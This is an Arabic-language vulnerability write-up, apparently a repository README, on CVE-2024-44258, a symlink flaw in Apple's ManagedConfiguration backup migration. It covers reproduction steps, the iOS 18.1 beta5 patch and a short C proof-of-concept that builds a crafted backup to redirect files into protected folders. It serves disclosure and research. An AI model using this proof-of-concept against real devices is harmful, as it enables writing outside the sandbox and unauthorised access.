
CVE-2024-44258
تسلط CVE-2024-44258 الضوء على ثغرة رابط رمزي (symlink) داخل ManagedConfiguration framework وprofiled daemon في أجهزة Apple. عند استعادة نسخة احتياطية مُصمَّمة، تفشل عملية الترحيل في التحقق مما إذا كان مجلد الوجهة رابطًا رمزيًا، مما يؤدي إلى ترحيل غير مصرح به للملفات إلى مناطق مقيدة.
تم تعيين CVE-2024-44258 لهذه المشكلة. تُعد معرّفات CVE معرّفات فريدة للثغرات الأمنية المُعلنة علنًا.
لمزيد من المعلومات، يرجى الرجوع إلى صفحات الدعم الرسمية من Apple:
تتيح الثغرة للمهاجمين استغلال الروابط الرمزية أثناء استعادة نسخة احتياطية لتجاوز قيود المجلدات، وكتابة ملفات في مناطق معزولة (sandboxed) أو محمية. قد تسمح هذه الثغرة بالوصول غير المصرح به إلى البيانات، أو تصعيد الامتيازات، أو استغلال خدمات أخرى تعتمد على الإعدادات المعدّلة.
إنشاء نسخة احتياطية مُصمَّمة
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles
إضافة الملفات المطلوبة
/private/var/mobile/Library/ConfigurationProfilesاستعادة النسخة الاحتياطية المُصمَّمة
إعادة تشغيل الجهاز
المتوقع:
يجب ترحيل /private/var/mobile/Library/ConfigurationProfiles إلى:
/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.configurationprofiles/Library/
الفعلي:
بسبب الرابط الرمزي المُصمَّم، تُرحَّل الملفات إلى مجلد مقيد قد يحتوي على بيانات حساسة أو محمية.
لوحظ استغلال هذه الثغرة في البيئات الحقيقية (in the wild) لعدة أشهر، مما يشير إلى استغلالها النشط.
في iOS 18.1 beta5، أصدرت Apple تصحيحًا لمعالجة ثغرة الرابط الرمزي داخل ManagedConfiguration framework. تمت إضافة الدالة _MCDestinationPathIsSafeFromSymlinkAttacks لإجراء فحص أمان على مسار الوجهة، مما يمنع الترحيل غير المصرح به للملفات إلى المناطق المقيدة. تمت إضافة هذا الفحص تحديدًا إلى الدالة MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:.
-[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]تم تنفيذ إصلاح الثغرة من خلال تعديل الدالة -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]، المسؤولة عن التعامل مع ترحيل الملفات داخل ManagedConfiguration framework. إليك كيفية عمل التصحيح:
إضافة فحص الرابط الرمزي
أضافت Apple استدعاءً لـ _MCDestinationPathIsSafeFromSymlinkAttacks في بداية MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:. تتحقق هذه الدالة الآن مما إذا كان مسار الوجهة خاليًا من الروابط الرمزية، مما يضيف طبقة حماية قبل تنفيذ أي عملية ترحيل.
فحص الشرط
إذا اكتشفت _MCDestinationPathIsSafeFromSymlinkAttacks رابطًا رمزيًا في مسار الوجهة، فإنها تمنع الترحيل من المتابعة. تسجّل الدالة رسالة خطأ (fault) باستخدام OS_LOG_TYPE_FAULT وتخرج مبكرًا، مما يوقف عملية الملف.
باستخدام Diaphora في IDA، تكشف مقارنة الفروقات بين iOS 18.1 beta4 وiOS 18.1 beta5 عن التغييرات في الدالة -[MCMigrator_copyAlmostAtomicallyItemAtPath:toPath:error:]. تُظهر الصورة أدناه الكود المعدَّل مع فحص الرابط الرمزي المضاف.

فيما يلي مقتطف كود نموذجي يوضح كيفية إنشاء نسخة احتياطية تستغل الثغرة. يوضح هذا الكود كيفية إضافة الرابط الرمزي والملفات إلى النسخة الاحتياطية، لمحاكاة العملية دون تقديم ملف النسخة الاحتياطية المُصمَّم الفعلي.
unsigned char* plist_data = NULL;
file_read("/path/to/your/test-outofsandbox.plist", &plist_data, &plist_size); // THIS NEED TO BE CHANGED TO THE FILE PATH
backup_add_directory(backup, "HomeDomain", "Library/ConfigurationProfiles", 0755, 501, 501);
backup_add_file_with_data(backup, "HomeDomain", "Library/ConfigurationProfiles/test.plist", 0755, 501, 501, 4, plist_data, plist_size); // WE ADD OUR FILES
backup_add_directory(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", NULL, 0755, 501, 501);
backup_add_symlink(backup, "SysSharedContainerDomain-systemgroup.com.apple.configurationprofiles", "Library", "/private/var/mobile/Library", 501, 501); // CHANGE THE PATH TO THE SANDBOXED FOLDER YOU WANT TO WRITE IN YOUR FILES
backup_write_mbdb(backup); // SAVE THE BACKUP
backup_free(backup);
شكر خاص لفريق أمان Apple على استجابتهم السريعة وتعاونهم.
تم اكتشاف الثغرة بواسطة Hichem Maloufi وChristian Mina
هذا المستودع مرخّص بموجب رخصة MIT. راجع LICENSE لمزيد من المعلومات.